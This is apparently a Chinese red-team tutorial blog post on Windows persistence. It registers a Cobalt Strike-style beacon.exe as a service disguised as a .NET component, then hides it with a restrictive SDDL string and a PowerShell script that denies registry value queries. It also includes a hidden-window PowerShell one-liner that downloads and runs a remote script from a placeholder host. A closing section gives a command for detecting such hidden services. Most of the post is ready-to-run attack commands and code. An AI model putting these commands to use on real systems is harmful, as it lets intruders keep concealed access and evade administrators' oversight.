本文来自宽字节安全第一期学员oulaa投稿。第二期线下培训预计十一月底开班,欢迎咨询。
通过注册服务创建后门
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。
-
cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:UsersaaDesktopbeacon.exe" depend= Tcpip obj= Localsystem start= auto
-
powershell创建自启动服务
new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:UsersaaDesktopbeacon.exe" –StartupType AutomaticDelayedStart
但创建的服务很容易被发现 通过sc query
和Get-Service
很容易发现,直接查询服务也能看见
通过修改SDDL(安全描述符)隐藏服务
众所周知,windows访问控制模型分为两部分:
-
access token(访问令牌) -
安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:
-
对象的所有者和主要组的 Sid(安全标识符) -
用于指定允许或拒绝特定用户或组的访问权限的 DACL 。 -
指定为对象生成审核记录的访问尝试类型的 SACL 。 -
一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
然后通过sc与get-server查找服务均无结果:
并且服务也不再显示:
在知道服务名的前提下查询会显示拒绝访问:
但这样做有一个问题:在注册表中很容易看到异常value。
修改注册表ACL
我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。
这里给出一个通过powershell修改注册表项的访问权限的简单脚本:
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:SYSTEMCurrentControlSetServices"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
远程加载powershell脚本:
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxx:8000/s.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
从下图可见已将值从该服务项中隐藏:
SDDL字符串详解
安全描述符字符串格式(SDDL) 是用于存储或传输安全描述符中的信息的文本格式,更改SDDL即修改对象的访问权限。
如图为一个安全对象的SDDL:
如图可见其基本组成为:
O:owner_sid
G:group_sid
D:dacl_flags(string_ace1)(string_ace2)... (string_acen)
S:sacl_flags(string_ace1)(string_ace2)... (string_acen)
-
O: 对象所有者的SID -
G:对象主组的SID -
dacl_flags :应用于DACL的安全描述符控制标志 -
string_ace1:访问控制列表ACE
对每个组成的详细描述可以参考:https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
访问控制列表ACE决定了哪个用户对它具有哪些权限,是DACL的具体规则,我们在服务中主要关注修改的就是DACL。
对于一个具体的ACE,其具有如下结构:
(
ace_type;
ace_flags;
rights;
object_guid;
inherit_object_guid;
account_sid;
(resource_attribute)
)
对于每一个部分的详细解释可以参考:https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings
对于一个ACE,我们主要关注的就是ace_type、rights、account_sid。
account_sid为该条ACE作用对象,可以是SID也可以是约定俗成的字符串,比如IU就是交互登录的用户。
ace_type代表了account_sid对rights代表的权限的控制,比如A就是允许,D就是拒绝。
它是由 ACE 控制的访问权限的字符串。此字符串可以是访问权限的十六进制字符串表示形式,例如“0x7800003F”,也可以是字符串的串联,比如“DCLC”。
在服务对象的权限字符串中:“DC” 代表的用户对服务配置修改的权限,而“LC” 代表了对服务状态查询的权限。
对于不同类型的对象,权限常量的名字还不是很统一,而Wayne Martin 在他的文章中给出了查找权限常量对应关系的方法,并给出一部分 ADS、SCM、Service、value、SDDL 的映射关系:
http://waynes-world-it.blogspot.com/2009/10/service-control-manager-security-for.html
所以在设置服务的SDDL的时候,我们设置了
D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)
表示为对交互登录的用户、服务登录的用户、内置管理员拒绝以下操作:
-
服务配置修改 -
服务状态查询 -
服务停止 -
暂停服务 -
删除服务 -
服务配置查询
主要是通过拒绝查询来达到隐藏服务的目的。
而对注册表权限的修改,是通过powershell实现的:首先可以通过枚举注册表的权限查看所有权限
[System.Enum]::GetNames([System.Security.AccessControl.RegistryRights])
这里给出的测试脚本是拒绝掉Everyone的QueryValues权限,也就是注册表查询值的权限,达到隐藏异常值的效果。也可以修改其他权限达到禁止删除、禁止重设权限等等操作。
隐藏服务的查找
Joshua Wright 团队给出了利用该种方式隐藏服务的反制措施:
Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (gci -path hklm:systemcurrentcontrolsetservices | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\","HKLM:" } | ? { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | ?{$_.sideIndicator -eq "=>"}
而修改了注册表查询权限后会报拒绝访问
参考资料
-
https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
-
https://www.freebuf.com/articles/system/254838.html
-
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
-
http://waynes-world-it.blogspot.com/2009/10/service-control-manager-security-for.html
本文始发于微信公众号(宽字节安全):利用安全描述符隐藏服务后门进行权限维持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论